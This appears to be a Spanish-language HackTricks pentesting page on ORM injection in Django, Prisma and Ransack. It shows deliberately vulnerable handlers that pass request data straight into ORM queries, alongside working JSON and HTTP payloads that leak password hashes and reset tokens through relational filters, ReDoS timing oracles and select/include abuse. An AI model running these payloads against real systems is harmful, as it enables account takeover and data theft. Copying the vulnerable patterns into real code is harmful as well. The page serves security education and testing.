hacktricks/pentesting-web/orm-injection.md

338 lines
12 KiB
Markdown
Raw Normal View History

# ORM Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Django ORM (Python)
En [**esta publicación**](https://www.elttam.com/blog/plormbing-your-django-orm/) se explica cómo es posible hacer que un Django ORM sea vulnerable utilizando, por ejemplo, un código como:
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
"""
Una vista API básica a la que los usuarios envían solicitudes para
buscar artículos
"""
def post(self, request: Request, format=None):
try:
<strong> articles = Article.objects.filter(**request.data)
</strong> serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
</code></pre>
Nota cómo todos los request.data (que será un json) se pasan directamente a **filtrar objetos de la base de datos**. Un atacante podría enviar filtros inesperados para filtrar más datos de los esperados.
Ejemplos:
* **Login:** En un inicio de sesión simple, intenta filtrar las contraseñas de los usuarios registrados dentro de él.
```json
{
"username": "admin",
"password_startswith":"a"
}
```
{% hint style="danger" %}
Es posible realizar un ataque de fuerza bruta a la contraseña hasta que se filtre.
{% endhint %}
* **Filtrado relacional**: Es posible recorrer relaciones para filtrar información de columnas que ni siquiera se esperaban usar en la operación. Por ejemplo, si es posible filtrar artículos creados por un usuario con estas relaciones: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__user__password__contains":"pass"
}
```
{% hint style="danger" %}
Es posible encontrar la contraseña de todos los usuarios que han creado un artículo
{% endhint %}
* **Filtrado relacional de muchos a muchos**: En el ejemplo anterior no pudimos encontrar las contraseñas de los usuarios que no han creado un artículo. Sin embargo, siguiendo otras relaciones esto es posible. Por ejemplo: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith":"admi"
}
```
{% hint style="danger" %}
En este caso, podemos encontrar todos los usuarios en los departamentos de usuarios que han creado artículos y luego filtrar sus contraseñas (en el json anterior solo estamos filtrando los nombres de usuario, pero luego es posible filtrar las contraseñas).
{% endhint %}
* **Abusando de las relaciones muchos-a-muchos de Grupo y Permiso con usuarios en Django**: Además, el modelo AbstractUser se utiliza para generar usuarios en Django y, por defecto, este modelo tiene algunas **relaciones muchos-a-muchos con las tablas de Permiso y Grupo**. Lo que básicamente es una forma predeterminada de **acceder a otros usuarios desde un usuario** si están en el **mismo grupo o comparten el mismo permiso**.
```bash
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
* **Bypass filter restrictions**: La misma publicación del blog propuso eludir el uso de algunos filtros como `articles = Article.objects.filter(is_secret=False, **request.data)`. Es posible volcar artículos que tienen is\_secret=True porque podemos retroceder desde una relación a la tabla Article y filtrar artículos secretos de artículos no secretos porque los resultados están unidos y el campo is\_secret se verifica en el artículo no secreto mientras se filtran los datos del artículo secreto.
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
{% hint style="danger" %}
Abusando de las relaciones, es posible eludir incluso los filtros destinados a proteger los datos mostrados.
{% endhint %}
* **Error/Time based via ReDoS**: En los ejemplos anteriores se esperaba tener diferentes respuestas si el filtrado funcionaba o no para usar eso como oráculo. Pero podría ser posible que se realice alguna acción en la base de datos y la respuesta sea siempre la misma. En este escenario, podría ser posible provocar un error en la base de datos para obtener un nuevo oráculo.
```json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
De la misma publicación sobre este vector:
* **SQLite**: No tiene un operador regexp por defecto (requiere cargar una extensión de terceros)
* **PostgreSQL**: No tiene un tiempo de espera de regex por defecto y es menos propenso a retrocesos
* **MariaDB**: No tiene un tiempo de espera de regex
## Prisma ORM (NodeJS)
Los siguientes son [**trucos extraídos de esta publicación**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
* **Control total de búsqueda**:
<pre class="language-javascript"><code class="lang-javascript">const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// El atacante tiene control total de todas las opciones de prisma
<strong> const posts = await prisma.article.findMany(req.body.filter)
</strong> res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
Es posible ver que todo el cuerpo de javascript se pasa a prisma para realizar consultas.
En el ejemplo de la publicación original, esto verificaría todas las publicaciones creadas por alguien (cada publicación es creada por alguien) devolviendo también la información del usuario de esa persona (nombre de usuario, contraseña...)
```json
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
```
```markdown
El siguiente selecciona todas las publicaciones creadas por alguien con una contraseña y devolverá la contraseña:
```
```json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
```
* **Control total de la cláusula where**:
Veamos esto donde el ataque puede controlar la cláusula `where`:
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
<strong> where: req.query.filter as any // Vulnerable to ORM Leaks
</strong> })
res.json(posts);
} catch (error) {
res.json([]);
}
});
</code></pre>
Es posible filtrar la contraseña de los usuarios directamente como:
```javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})
```
{% hint style="danger" %}
Usando operaciones como `startsWith` es posible filtrar información.&#x20;
{% endhint %}
* **Elusión de filtrado relacional de muchos a muchos:**&#x20;
```javascript
app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});
```
Es posible filtrar artículos no publicados al retroceder a las relaciones de muchos a muchos entre `Category` -\[\*..\*]-> `Article`:
```json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
```
También es posible leak todos los usuarios abusando de algunas relaciones de muchos a muchos de bucle.
```json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
* **Consultas de error/temporalizadas**: En la publicación original puedes leer un conjunto muy extenso de pruebas realizadas para encontrar la carga útil óptima para filtrar información con una carga útil basada en el tiempo. Esto es:
```json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
```
Donde `{CONTAINS_LIST}` es una lista con 1000 cadenas para asegurarse de que **la respuesta se retrase cuando se encuentra la fuga correcta.**
## **Ransack (Ruby)**
Estos trucos fueron [**encontrados en esta publicación**](https://positive.security/blog/ransack-data-exfiltration)**.**
{% hint style="success" %}
**Tenga en cuenta que Ransack 4.0.0.0 ahora impone el uso de una lista de permitidos explícita para atributos y asociaciones buscables.**
{% endhint %}
**Ejemplo vulnerable:**
```ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
```
Nota cómo la consulta será definida por los parámetros enviados por el atacante. Fue posible, por ejemplo, forzar el token de restablecimiento con:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
```
Al forzar y potencialmente relacionar, fue posible filtrar más datos de una base de datos.
## Referencias
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}